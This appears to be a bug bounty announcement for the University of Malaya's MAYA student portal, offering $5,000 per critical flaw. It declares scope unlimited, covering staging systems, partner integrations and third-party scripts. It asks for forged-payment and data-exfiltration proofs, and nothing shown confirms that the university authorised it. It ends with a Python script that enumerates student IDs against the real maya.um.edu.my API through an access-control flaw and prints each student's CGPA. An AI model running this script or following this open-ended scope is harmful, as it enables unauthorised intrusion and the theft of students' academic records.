MAYA UM Malaysia Bug Bounty: $5,000 Each Validated Critical — Full Scope, Kill Chain Required

MAYA UM Malaysia concentrates sensitive student data, financial transactions, academic records, identity federation, course management, and administrative workflows — fertile ground for unauthorized grade manipulation, persistence through mis-scoped session tokens, and cross-department data bleed if tenant isolation fails. This playbook rewards only highest-impact, fully demonstrated criticals — each earns $5,000.

In scope materially: every HTTP host, API endpoint, SSO integration, payment gateway connector, database row served by MAYA infra, student portal renderer, static deploy paths, session signing secrets in their custody, library system integrations, exam scheduling modules, hostel booking flows, administrative dashboards, mobile-responsive endpoints, CDN cache poisoning surfaces where they originate HTML/JS bundles. Skip unrelated payment processors unless your chain weaponizes MAYA integrations they actually operate — but their own fee-payment glue is fair game universally.
Civil exclusions only: blackmail, mass student harassment, brute forcing unrelated bank accounts wholly outside MAYA SSO context. Those bans are societal — not SKU-level scope fences.

There is exactly one bounty amount that maps to payouts on this ledger: validated critical findings pay $5,000 USD each. Novel low-severity items may qualify for goodwill credit but not this stipend. Paid rows must exhibit (a) attacker-readable kill-chain storytelling and (b) objective proofs of successful exploitation replayable by MAYA responders (Burp transcripts, scripted API sequences, SSRF egress captures, JWT mutation evidence, payment manipulation logs, unauthorized transcript access traces…).

These rows do not impose limits — they're shorthand for tagging reports. Anything MAYA hosts, signs, proxies, parses, verifies, or integrates counts as bounty ground even if undocumented here. Treat “not listed” ≠ “out-of-scope”: default stance is open scope across MAYA.

This playbook refuses “only these endpoints” folklore. Sandbox clusters, staging replicas, mirrored tenants, ephemeral feature flags, monitoring boards, anomaly detection exporters, SMTP bridges, automation hooks patched by MAYA — all bounty eligible when critical impact is reproducible.

• Every apex / vanity domain routing through MAYA edge unless proven otherwise — claim evidence in-chain write-up.
• Open + private repos / infrastructure-as-code repos MAYA maintains
• Third-party widgets or scripts they sign & inject into portal bundles
• Partner integrations gated by MAYA OAuth or SAML consent screens

1. Prove exploitation success. Dry essays fail — ship artefacts that third parties rerun: scripted curl sequences against APIs, deterministic Burp/XML exports, SSRF egress packet captures, reproducible JWT tamper scripts, payment replay PCAPs showing forged transactions.
2. Articulate kill chain granularity. Number each hop: auth boundary → abused endpoint → escalation → monetizable damage (fee reroute, transcript access, PII exfiltration, infra takeover, etc.).
3. Responsible blast radius documentation. Quantify student records or financial exposure even if exercised only on staging clones that mirror MAYA routing + auth.
4. Encrypt & ship privately. Use sanctioned intake (security mail / advisories — see submit section) prior to tweeting exploits.
5. Honor duplicate fairness. First fully qualifying chain + reproducible exploitation wins treasury on equal severity collisions.

Email security@um.edu.my (encrypted if available) plus any advisory link published on maya.um.edu.my. Verify the live security contact — vendors rotate addresses. Mandatory sections mirror below.

# Title
[Critical][Exploit-Proven] <tight title>

# Executive summary — impact in one paragraph

# Severity self-classification → must map to MAYA critical definitions above

## Attack chain narrative (numbered, no gaps)
1. Preconditions (session scopes, SSO assumptions, student ID range)
2. Entry primitive — exact HTTP verb/path/query/body or portal origin line
3. Pivot(s) chaining trust escalation
4. Final hop → transcript access / fee manipulation / infra takeover equivalent

## Successful exploitation evidence
• Replayable CLI/curl/Python script dumping HTTP status + truncated bodies proving impact
• HAR / Burp project with matched responses showing unauthorized state change
• Payment/trace logs illustrating attacker-controlled callback success

## Reproduction package
Commands + fixture download links + pinned commit SHAs


## Disclosure ack
Responsible channel only until MAYA clears publication coordination

Pseudocode illustrating an IDOR transcript access — meaningless without attaching HAR/logs proving an unauthorized request retrieves another student’s academic record inside MAYA.

# BUGGY: verifies only session presence, skips transcript ownership bind
import requests

BASE = "https://maya.um.edu.my/api/v1"
SESSION = "eyJhbGciOiJIUzI1NiIs..."  # valid student session

def fetch_transcript(student_id):
    resp = requests.get(
        f"{BASE}/transcripts/{student_id}",
        headers={"Cookie": f"maya_session={SESSION}"}
    )
    return resp.json()

# MISSING: server-side check that session.student_id == requested student_id
# attacker iterates student_id → exfiltrates arbitrary academic records
for i in range(20240001, 20241000):
    data = fetch_transcript(i)
    if "cgpa" in data:
        print(i, data["cgpa"])